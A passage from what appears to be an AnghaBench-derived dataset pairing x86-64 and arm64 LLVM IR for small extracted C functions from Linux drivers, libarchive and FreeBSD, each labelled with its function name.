%80 = load i32, ptr @OP_READ, align 4
%81 = select i1 %79, i32 0, i32 %80
%82 = or i32 %77, %81
%83 = load i64, ptr %4, align 8, !tbaa !16
%84 = tail call i64 @SS_CTRL(i32 noundef 0) #2
%85 = add nsw i64 %84, %83
%86 = tail call i32 @writel(i32 noundef %82, i64 noundef %85) #2
%87 = load i32, ptr %39, align 8, !tbaa !12
%88 = load i64, ptr %6, align 8, !tbaa !9
%89 = load i32, ptr %2, align 8, !tbaa !18
%90 = tail call i32 @mxic_spi_data_xfer(ptr noundef nonnull %4, i32 noundef %87, i64 noundef %88, i32 noundef %89) #2
%91 = icmp eq i32 %90, 0
br i1 %91, label %92, label %94
92: ; preds = %71
%93 = tail call i32 @spi_finalize_current_transfer(ptr noundef %0) #2
br label %94
94: ; preds = %71, %33, %92, %30
%95 = phi i32 [ 0, %92 ], [ %32, %30 ], [ %36, %33 ], [ %90, %71 ]
ret i32 %95
}
declare ptr @spi_master_get_devdata(ptr noundef) local_unnamed_addr #1
declare i32 @mxic_spi_set_freq(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @writel(i32 noundef, i64 noundef) local_unnamed_addr #1
declare i32 @OP_CMD_BYTES(i32 noundef) local_unnamed_addr #1
declare i32 @OP_CMD_BUSW(i32 noundef) local_unnamed_addr #1
declare i32 @OP_DATA_BUSW(i32 noundef) local_unnamed_addr #1
declare i64 @SS_CTRL(i32 noundef) local_unnamed_addr #1
declare i32 @mxic_spi_data_xfer(ptr noundef, i32 noundef, i64 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @spi_finalize_current_transfer(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !11, i64 8}
!10 = !{!"spi_transfer", !6, i64 0, !11, i64 8, !6, i64 16, !6, i64 20}
!11 = !{!"long", !7, i64 0}
!12 = !{!10, !6, i64 16}
!13 = !{!14, !6, i64 0}
!14 = !{!"spi_device", !6, i64 0}
!15 = !{!10, !6, i64 20}
!16 = !{!17, !11, i64 0}
!17 = !{!"mxic_spi", !11, i64 0}
!18 = !{!10, !6, i64 0}
| ; ModuleID = 'AnghaBench/linux/drivers/spi/extr_spi-mxic.c_mxic_spi_transfer_one.c'
source_filename = "AnghaBench/linux/drivers/spi/extr_spi-mxic.c_mxic_spi_transfer_one.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@OP_BUSW_1 = common local_unnamed_addr global i32 0, align 4
@SPI_TX_QUAD = common local_unnamed_addr global i32 0, align 4
@SPI_RX_QUAD = common local_unnamed_addr global i32 0, align 4
@SPI_TX_DUAL = common local_unnamed_addr global i32 0, align 4
@SPI_RX_DUAL = common local_unnamed_addr global i32 0, align 4
@ENOTSUPP = common local_unnamed_addr global i32 0, align 4
@OP_BUSW_4 = common local_unnamed_addr global i32 0, align 4
@OP_BUSW_2 = common local_unnamed_addr global i32 0, align 4
@OP_READ = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @mxic_spi_transfer_one], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @mxic_spi_transfer_one(ptr noundef %0, ptr nocapture noundef readonly %1, ptr nocapture noundef readonly %2) #0 {
%4 = tail call ptr @spi_master_get_devdata(ptr noundef %0) #2
%5 = load i32, ptr @OP_BUSW_1, align 4, !tbaa !6
%6 = getelementptr inbounds i8, ptr %2, i64 8
%7 = load i64, ptr %6, align 8, !tbaa !10
%8 = icmp eq i64 %7, 0
br i1 %8, label %33, label %9
9: ; preds = %3
%10 = getelementptr inbounds i8, ptr %2, i64 16
%11 = load i32, ptr %10, align 8, !tbaa !13
%12 = icmp eq i32 %11, 0
br i1 %12, label %33, label %13
13: ; preds = %9
%14 = load i32, ptr %1, align 4, !tbaa !14
%15 = load i32, ptr @SPI_TX_QUAD, align 4, !tbaa !6
%16 = and i32 %15, %14
%17 = icmp eq i32 %16, 0
br i1 %17, label %22, label %18
18: ; preds = %13
%19 = load i32, ptr @SPI_RX_QUAD, align 4, !tbaa !6
%20 = and i32 %19, %14
%21 = icmp eq i32 %20, 0
br i1 %21, label %30, label %22
22: ; preds = %18, %13
%23 = load i32, ptr @SPI_TX_DUAL, align 4, !tbaa !6
%24 = and i32 %23, %14
%25 = icmp eq i32 %24, 0
br i1 %25, label %33, label %26
26: ; preds = %22
%27 = load i32, ptr @SPI_RX_DUAL, align 4, !tbaa !6
%28 = and i32 %27, %14
%29 = icmp eq i32 %28, 0
br i1 %29, label %30, label %33
30: ; preds = %26, %18
%31 = load i32, ptr @ENOTSUPP, align 4, !tbaa !6
%32 = sub nsw i32 0, %31
br label %94
33: ; preds = %22, %26, %9, %3
%34 = getelementptr inbounds i8, ptr %2, i64 20
%35 = load i32, ptr %34, align 4, !tbaa !16
%36 = tail call i32 @mxic_spi_set_freq(ptr noundef %4, i32 noundef %35) #2
%37 = icmp eq i32 %36, 0
br i1 %37, label %38, label %94
38: ; preds = %33
%39 = getelementptr inbounds i8, ptr %2, i64 16
%40 = load i32, ptr %39, align 8, !tbaa !13
%41 = icmp eq i32 %40, 0
br i1 %41, label %55, label %42
42: ; preds = %38
%43 = load i32, ptr %1, align 4, !tbaa !14
%44 = load i32, ptr @SPI_TX_QUAD, align 4, !tbaa !6
%45 = and i32 %44, %43
%46 = icmp eq i32 %45, 0
br i1 %46, label %49, label %47
47: ; preds = %42
%48 = load i32, ptr @OP_BUSW_4, align 4, !tbaa !6
br label %71
49: ; preds = %42
%50 = load i32, ptr @SPI_TX_DUAL, align 4, !tbaa !6
%51 = and i32 %50, %43
%52 = icmp eq i32 %51, 0
%53 = load i32, ptr @OP_BUSW_2, align 4
%54 = select i1 %52, i32 %5, i32 %53
br label %71
55: ; preds = %38
%56 = load i64, ptr %6, align 8, !tbaa !10
%57 = icmp eq i64 %56, 0
br i1 %57, label %71, label %58
58: ; preds = %55
%59 = load i32, ptr %1, align 4, !tbaa !14
%60 = load i32, ptr @SPI_RX_QUAD, align 4, !tbaa !6
%61 = and i32 %60, %59
%62 = icmp eq i32 %61, 0
br i1 %62, label %65, label %63
63: ; preds = %58
%64 = load i32, ptr @OP_BUSW_4, align 4, !tbaa !6
br label %71
65: ; preds = %58
%66 = load i32, ptr @SPI_RX_DUAL, align 4, !tbaa !6
%67 = and i32 %66, %59
%68 = icmp eq i32 %67, 0
%69 = load i32, ptr @OP_BUSW_2, align 4
%70 = select i1 %68, i32 %5, i32 %69
br label %71
71: ; preds = %65, %49, %55, %63, %47
%72 = phi i32 [ %48, %47 ], [ %64, %63 ], [ %5, %55 ], [ %54, %49 ], [ %70, %65 ]
%73 = tail call i32 @OP_CMD_BYTES(i32 noundef 1) #2
%74 = tail call i32 @OP_CMD_BUSW(i32 noundef %72) #2
%75 = or i32 %74, %73
%76 = tail call i32 @OP_DATA_BUSW(i32 noundef %72) #2
%77 = or i32 %75, %76
%78 = load i64, ptr %6, align 8, !tbaa !10
%79 = icmp eq i64 %78, 0
%80 = load i32, ptr @OP_READ, align 4
%81 = select i1 %79, i32 0, i32 %80
%82 = or i32 %77, %81
%83 = load i64, ptr %4, align 8, !tbaa !17
%84 = tail call i64 @SS_CTRL(i32 noundef 0) #2
%85 = add nsw i64 %84, %83
%86 = tail call i32 @writel(i32 noundef %82, i64 noundef %85) #2
%87 = load i32, ptr %39, align 8, !tbaa !13
%88 = load i64, ptr %6, align 8, !tbaa !10
%89 = load i32, ptr %2, align 8, !tbaa !19
%90 = tail call i32 @mxic_spi_data_xfer(ptr noundef nonnull %4, i32 noundef %87, i64 noundef %88, i32 noundef %89) #2
%91 = icmp eq i32 %90, 0
br i1 %91, label %92, label %94
92: ; preds = %71
%93 = tail call i32 @spi_finalize_current_transfer(ptr noundef %0) #2
br label %94
94: ; preds = %71, %33, %92, %30
%95 = phi i32 [ 0, %92 ], [ %32, %30 ], [ %36, %33 ], [ %90, %71 ]
ret i32 %95
}
declare ptr @spi_master_get_devdata(ptr noundef) local_unnamed_addr #1
declare i32 @mxic_spi_set_freq(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @writel(i32 noundef, i64 noundef) local_unnamed_addr #1
declare i32 @OP_CMD_BYTES(i32 noundef) local_unnamed_addr #1
declare i32 @OP_CMD_BUSW(i32 noundef) local_unnamed_addr #1
declare i32 @OP_DATA_BUSW(i32 noundef) local_unnamed_addr #1
declare i64 @SS_CTRL(i32 noundef) local_unnamed_addr #1
declare i32 @mxic_spi_data_xfer(ptr noundef, i32 noundef, i64 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @spi_finalize_current_transfer(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !12, i64 8}
!11 = !{!"spi_transfer", !7, i64 0, !12, i64 8, !7, i64 16, !7, i64 20}
!12 = !{!"long", !8, i64 0}
!13 = !{!11, !7, i64 16}
!14 = !{!15, !7, i64 0}
!15 = !{!"spi_device", !7, i64 0}
!16 = !{!11, !7, i64 20}
!17 = !{!18, !12, i64 0}
!18 = !{!"mxic_spi", !12, i64 0}
!19 = !{!11, !7, i64 0}
| linux_drivers_spi_extr_spi-mxic.c_mxic_spi_transfer_one |
; ModuleID = 'AnghaBench/freebsd/contrib/libarchive/libarchive/extr_archive_read_support_format_warc.c__warc_bid.c'
source_filename = "AnghaBench/freebsd/contrib/libarchive/libarchive/extr_archive_read_support_format_warc.c__warc_bid.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @_warc_bid], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @_warc_bid(ptr noundef %0, i32 %1) #0 {
%3 = alloca i32, align 4
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %3) #3
%4 = call ptr @__archive_read_ahead(ptr noundef %0, i32 noundef 12, ptr noundef nonnull %3) #3
%5 = icmp eq ptr %4, null
br i1 %5, label %14, label %6
6: ; preds = %2
%7 = load i32, ptr %3, align 4, !tbaa !5
%8 = icmp slt i32 %7, 12
br i1 %8, label %14, label %9
9: ; preds = %6
%10 = call i32 @_warc_rdver(ptr noundef nonnull %4, i32 noundef %7) #3
%11 = add i32 %10, -10001
%12 = icmp ult i32 %11, -8801
%13 = select i1 %12, i32 -1, i32 64
br label %14
14: ; preds = %9, %6, %2
%15 = phi i32 [ -1, %2 ], [ -1, %6 ], [ %13, %9 ]
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %3) #3
ret i32 %15
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @__archive_read_ahead(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @_warc_rdver(ptr noundef, i32 noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/freebsd/contrib/libarchive/libarchive/extr_archive_read_support_format_warc.c__warc_bid.c'
source_filename = "AnghaBench/freebsd/contrib/libarchive/libarchive/extr_archive_read_support_format_warc.c__warc_bid.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @_warc_bid], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal range(i32 -1, 65) i32 @_warc_bid(ptr noundef %0, i32 %1) #0 {
%3 = alloca i32, align 4
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %3) #3
%4 = call ptr @__archive_read_ahead(ptr noundef %0, i32 noundef 12, ptr noundef nonnull %3) #3
%5 = icmp eq ptr %4, null
br i1 %5, label %14, label %6
6: ; preds = %2
%7 = load i32, ptr %3, align 4, !tbaa !6
%8 = icmp slt i32 %7, 12
br i1 %8, label %14, label %9
9: ; preds = %6
%10 = call i32 @_warc_rdver(ptr noundef nonnull %4, i32 noundef %7) #3
%11 = add i32 %10, -10001
%12 = icmp ult i32 %11, -8801
%13 = select i1 %12, i32 -1, i32 64
br label %14
14: ; preds = %9, %6, %2
%15 = phi i32 [ -1, %2 ], [ -1, %6 ], [ %13, %9 ]
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %3) #3
ret i32 %15
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @__archive_read_ahead(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @_warc_rdver(ptr noundef, i32 noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| freebsd_contrib_libarchive_libarchive_extr_archive_read_support_format_warc.c__warc_bid |
; ModuleID = 'AnghaBench/linux/drivers/xen/xenbus/extr_xenbus_comms.c_wake_waiting.c'
source_filename = "AnghaBench/linux/drivers/xen/xenbus/extr_xenbus_comms.c_wake_waiting.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@xenstored_ready = dso_local local_unnamed_addr global i32 0, align 4
@probe_work = dso_local global i32 0, align 4
@xb_waitq = dso_local global i32 0, align 4
@IRQ_HANDLED = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @wake_waiting], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @wake_waiting(i32 %0, ptr nocapture readnone %1) #0 {
%3 = load i32, ptr @xenstored_ready, align 4, !tbaa !5
%4 = icmp eq i32 %3, 0
%5 = zext i1 %4 to i32
%6 = tail call i64 @unlikely(i32 noundef %5) #2
%7 = icmp eq i64 %6, 0
br i1 %7, label %10, label %8
8: ; preds = %2
store i32 1, ptr @xenstored_ready, align 4, !tbaa !5
%9 = tail call i32 @schedule_work(ptr noundef nonnull @probe_work) #2
br label %10
10: ; preds = %8, %2
%11 = tail call i32 @wake_up(ptr noundef nonnull @xb_waitq) #2
%12 = load i32, ptr @IRQ_HANDLED, align 4, !tbaa !5
ret i32 %12
}
declare i64 @unlikely(i32 noundef) local_unnamed_addr #1
declare i32 @schedule_work(ptr noundef) local_unnamed_addr #1
declare i32 @wake_up(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/linux/drivers/xen/xenbus/extr_xenbus_comms.c_wake_waiting.c'
source_filename = "AnghaBench/linux/drivers/xen/xenbus/extr_xenbus_comms.c_wake_waiting.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@xenstored_ready = common local_unnamed_addr global i32 0, align 4
@probe_work = common global i32 0, align 4
@xb_waitq = common global i32 0, align 4
@IRQ_HANDLED = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @wake_waiting], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @wake_waiting(i32 %0, ptr nocapture readnone %1) #0 {
%3 = load i32, ptr @xenstored_ready, align 4, !tbaa !6
%4 = icmp eq i32 %3, 0
%5 = zext i1 %4 to i32
%6 = tail call i64 @unlikely(i32 noundef %5) #2
%7 = icmp eq i64 %6, 0
br i1 %7, label %10, label %8
8: ; preds = %2
store i32 1, ptr @xenstored_ready, align 4, !tbaa !6
%9 = tail call i32 @schedule_work(ptr noundef nonnull @probe_work) #2
br label %10
10: ; preds = %8, %2
%11 = tail call i32 @wake_up(ptr noundef nonnull @xb_waitq) #2
%12 = load i32, ptr @IRQ_HANDLED, align 4, !tbaa !6
ret i32 %12
}
declare i64 @unlikely(i32 noundef) local_unnamed_addr #1
declare i32 @schedule_work(ptr noundef) local_unnamed_addr #1
declare i32 @wake_up(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| linux_drivers_xen_xenbus_extr_xenbus_comms.c_wake_waiting |
; ModuleID = 'AnghaBench/freebsd/sys/dev/mly/extr_mly.c_mly_shutdown.c'
source_filename = "AnghaBench/freebsd/sys/dev/mly/extr_mly.c_mly_shutdown.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.mly_softc = type { i32, i32, i32 }
@MLY_STATE_OPEN = dso_local local_unnamed_addr global i32 0, align 4
@EBUSY = dso_local local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [18 x i8] c"flushing cache...\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
@.str.2 = private unnamed_addr constant [7 x i8] c"failed\00", align 1
@.str.3 = private unnamed_addr constant [5 x i8] c"done\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @mly_shutdown], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @mly_shutdown(i32 noundef %0) #0 {
%2 = tail call ptr @device_get_softc(i32 noundef %0) #2
%3 = tail call i32 @debug_called(i32 noundef 1) #2
%4 = tail call i32 @MLY_LOCK(ptr noundef %2) #2
%5 = load i32, ptr %2, align 4, !tbaa !5
%6 = load i32, ptr @MLY_STATE_OPEN, align 4, !tbaa !10
%7 = and i32 %6, %5
%8 = icmp eq i32 %7, 0
br i1 %8, label %12, label %9
9: ; preds = %1
%10 = tail call i32 @MLY_UNLOCK(ptr noundef nonnull %2) #2
%11 = load i32, ptr @EBUSY, align 4, !tbaa !10
br label %22
12: ; preds = %1
%13 = getelementptr inbounds %struct.mly_softc, ptr %2, i64 0, i32 2
%14 = tail call i32 @callout_stop(ptr noundef nonnull %13) #2
%15 = tail call i32 @mly_printf(ptr noundef nonnull %2, ptr noundef nonnull @.str) #2
%16 = tail call i64 @mly_flush(ptr noundef nonnull %2) #2
%17 = icmp eq i64 %16, 0
%18 = select i1 %17, ptr @.str.3, ptr @.str.2
%19 = tail call i32 @printf(ptr noundef nonnull @.str.1, ptr noundef nonnull %18) #2
%20 = tail call i32 @MLY_MASK_INTERRUPTS(ptr noundef nonnull %2) #2
%21 = tail call i32 @MLY_UNLOCK(ptr noundef nonnull %2) #2
br label %22
22: ; preds = %12, %9
%23 = phi i32 [ %11, %9 ], [ 0, %12 ]
ret i32 %23
}
declare ptr @device_get_softc(i32 noundef) local_unnamed_addr #1
declare i32 @debug_called(i32 noundef) local_unnamed_addr #1
declare i32 @MLY_LOCK(ptr noundef) local_unnamed_addr #1
declare i32 @MLY_UNLOCK(ptr noundef) local_unnamed_addr #1
declare i32 @callout_stop(ptr noundef) local_unnamed_addr #1
declare i32 @mly_printf(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @printf(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i64 @mly_flush(ptr noundef) local_unnamed_addr #1
declare i32 @MLY_MASK_INTERRUPTS(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"mly_softc", !7, i64 0, !7, i64 4, !7, i64 8}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!7, !7, i64 0}
| ; ModuleID = 'AnghaBench/freebsd/sys/dev/mly/extr_mly.c_mly_shutdown.c'
source_filename = "AnghaBench/freebsd/sys/dev/mly/extr_mly.c_mly_shutdown.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@MLY_STATE_OPEN = common local_unnamed_addr global i32 0, align 4
@EBUSY = common local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [18 x i8] c"flushing cache...\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
